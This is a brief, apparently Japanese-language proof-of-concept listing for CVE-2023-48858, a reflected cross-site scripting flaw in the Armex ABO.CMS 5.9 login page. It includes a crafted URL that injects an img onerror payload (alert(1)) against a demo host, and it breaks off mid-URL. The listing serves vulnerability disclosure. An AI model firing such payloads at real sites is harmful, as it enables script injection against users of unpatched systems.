CVE-2023-48858

CVE-2023-48858 CVE-2023-48858 の PoC Armex ABO.CMS 5.9 のログインページの PHP コードにおけるクロスサイトスクリプティング XSS の脆弱性により、リモートの攻撃者が login.php? の URL 部分を介して任意の Web スクリプトまたは HTML を注入できる可能性があります。 Proof of Concept: http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y...